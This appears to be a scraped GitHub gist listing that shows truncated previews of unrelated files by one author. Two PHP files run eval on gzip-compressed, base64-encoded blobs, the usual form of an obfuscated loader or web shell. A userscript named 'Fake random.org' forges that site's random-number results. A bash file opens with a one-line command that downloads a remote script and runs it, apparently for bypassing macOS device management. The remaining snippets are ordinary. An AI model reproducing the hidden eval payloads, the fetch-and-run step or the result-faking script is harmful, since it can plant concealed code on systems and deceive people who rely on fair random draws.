This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php eval(gzinflate(base64_decode('JJ3HjuvclqRfpXBRg/+CA3qH6uoCvfeinRToKXrRk0/fTPQgByehZHLvHSviC0mp8z//9//8z9zM/1Eeaf9P/XzHqk+38p8sXUsC+9+izKei/OdfK1k+a1Aoun8YkP897vXSb6hbvSJQvO9lmR9L/UC9+XS0CgfMYXbAptW4zuW3AXMkyn3imTJIS3+Es7AVy8sxlTM6hDq0JT/si/tEMO+hl1m3+nNiysfADApU7YePTf5cD465TgOjoU/kGJseBDD98TcxPVl4Uhjmv//7X//+97//6/+v4T//9/N+Rf+s27KUxz//AjEQBIf3q9xBEKAoCgQPmrSTsxJkhxG0WhIYrROYU+p+2CUGoXFWGtaLv0O9Rwvwo0KASYbL13H7bSlRsDCBXyYwBxKQE8uBUs5M418zLo0fqkaJXaI1CHp1RIN6ppSL9kXlKEyzD7pHxB2ZZ5Ijqciyg4koVHssWxeHRvUJe5JZfCTxP36VLa4s/6aPzyZwKGd9mc73rWPaZoncYbS0Fh9qja8bttwVddIAGdzXTTafO8QisXo2H5Ua8q4AS1IIJEoLjaQAaylT3yAf/aDCEEIzHB7xi4Ci2gFFPek2HJCzSh+x3/lsTF9V0l7Nyme1CMUW1U/70WigM7XFpYKorB9cSfkv//7yehCgOljQLxr1SPdx7LWpDI+lPTID9vJ2+BG9EfuGJa3HYx8NlYSa6QWvAxsu9MnDPo/t7VPjuDhU7EkPFDxGCiT2BHxzQz/3ovThQHr15MmQfjVoMIHt8MwGMksfkqhUYpMVOi4dSVa0s5stWJkGYBpzH+Dt/mhAalklcAN5cc8q+Fx8cTi6y9m55Yvs/G04o2BkwPr+6CnunpQSQS/7ZPDWOvHKS+6O1hXW8HbK2GDRje6VrfbafymjnYNe84gWfUDi3th2S0yMMWf6Qvg9P7+e9iV2nPh9Q4G7rtueywzLIkfJ8HrLq+uxARc809uQRnMKhdM7 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? eval(gzinflate(base64_decode('FJ3HbsPstUVfJbP8AAfsDQhuwN575yRgFSX2Xp7+0nNbpvids/dasiz/9//+899/VUfW/fN5vkPdZVv1z7ot/1vGDUb/ybO1IrD/lVUxltU//xZVVP6NJrqNYT3FLq0yeavqYfPFz8sKJxNXbx+r+qMSNlWq6Z0kI6DxZYoGQYCiabALRgIUMpAMCpMIfGC9wBwkc/xjiuDaFwdXXWAwDXZwDPYBK2FXWWB94XJyDk1fy5538ngEgzMN7EjbQLolCHQHCdZ0Pyc1E7CpPD/lpij98/16n8ijGW/kfIYlQKlMgTWhk0k96KUkPW7cOGvcLkNhNZw37QvTq9LJ9/ORkrRKJ+qm/UgoYOsWiIIRUQuwqxxDJi1Y+PFgZm4xAoXr9iNSTkaAhxYoHB/04Tqzs5n7JRBcWJvKB8eni/j1UgS41Rw7GpHM9muv1wGwd1kkMzAXhIva8SteAUWY2A40AsUNgjEAWuSsUGmrn+ruVuICWPNvg/1IpjxgflkLbb55eYfUNktHJnSjMWiFjRNqeeu+9Repf0nnBckmrspBVrEwl6KbbVh/a2j1CXM1u/Lm8tRWDqgLos9sHbvyZA3lmUrALZqiQHBXXGEX6C6IKsFKpFdMH2uZsA32+mRZ0H9nQ+ZE4bju6yJNaCM1f2GJW/3FYTMCdWszKRl7Qi2m604BcQxJoMw/Wx/FzRCvxa+D2EbXrYyROdWYub1zBN6Cct6Rb97lWqLC50tGJ0hGVXPNzAZONu2h42aJoew7l2e/LiQuVL5IfJCF9z1pP/oAgohjFw1vlD8OKeGiAkOHyrf4BiviAHtNPH0o+p0YAJ76+yDp7ivShgw4pIs2Gf6ACsGnuysj81HHXpI+vkduG8NuI1R0s3BXabIRtp+13/aXRfQsizN/7vItvBcTAotY9A2l7iW3XgFaP7usy8mM+B/5WT3JYmn3wsaZDCEMTHIu29FaRPYGSgfOyomDvwjPK7JMdZiwEyQ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const url = "https://www.google.com.vn/images/branding/googlelogo/2x/googlelogo_color_120x44dp.png"; | |
const forceDownload = url => { | |
try { | |
const link = document.createElement('a'); | |
const fileName = url.substring(url.lastIndexOf('/') + 1, url.length); | |
const event = new MouseEvent( "click", { "button": 1, "which": 1 }); | |
link.href = url; | |
link.download = fileName; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type Digit = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9; | |
type H = `${0 | 1}${Digit}` | `${2}${0 | 1 | 2 | 3}`; | |
type M = `${0 | 1 | 2 | 3 | 4 | 5}${Digit}`; | |
type S = `${0 | 1 | 2 | 3 | 4 | 5}${Digit}`; | |
export type TimeString = `${H}:${M}` | `${H}:${M}:${S}`; // 03:45 or 03:45:56 | |
type Mo = Exclude<`0${Digit}` | `1${0 | 1 | 2}`, '00'>; | |
type Da = Exclude<`${0 | 1 | 2}${Digit}` | `3${0 | 1}`, '00'>; | |
export type DateString = `${number}-${Mo}-${Da}`; // 2017-02-23 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Fake random.org | |
// @version 0.2 | |
// @description Fake ranndom.org result | |
// @namespace greasyfork.org/en/scripts/476305-fake-random-org | |
// @namespace gist.github.com/nghiepdev/5cab09f3edb35c4a17af2453fb01a852 | |
// @author nghiepdev | |
// @match https://www.random.org/widgets/integers/iframe?* | |
// @match https://random.org/widgets/integers/iframe?* | |
// @icon https://www.google.com/s2/favicons?sz=64&domain=random.org |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Stage 0 | |
FROM node:20-slim as base | |
LABEL maintainer="Nghiep <[email protected]>" | |
ENV PNPM_HOME="/pnpm" | |
ENV PATH="$PNPM_HOME:$PATH" | |
RUN corepack enable | |
RUN corepack prepare pnpm@9 --activate | |
ENV NEXT_TELEMETRY_DISABLED 1 | |
WORKDIR /app | |
COPY .npmrc package.json pnpm-lock.yaml pnpm-workspace.yaml cache-handler.mjs next.config.mjs ./ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import {useRef, useEffect} from 'react'; | |
export function useVideoUnmuted() { | |
const element = useRef<HTMLVideoElement | null>(null); | |
useEffect(() => { | |
const context = new window.AudioContext(); | |
function unmuted() { | |
if (element.current) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# curl https://euphoriatools.com/macmdm/mchip.sh -o mchip.sh && chmod +x ./mchip.sh && ./mchip.sh | |
#!/bin/bash | |
# Global constants | |
readonly DEFAULT_SYSTEM_VOLUME="Macintosh HD" | |
readonly DEFAULT_DATA_VOLUME="Macintosh HD - Data" | |
# readonly DEFAULT_SYSTEM_VOLUME="MacOS" | |
# readonly DEFAULT_DATA_VOLUME="MacOS - Data" |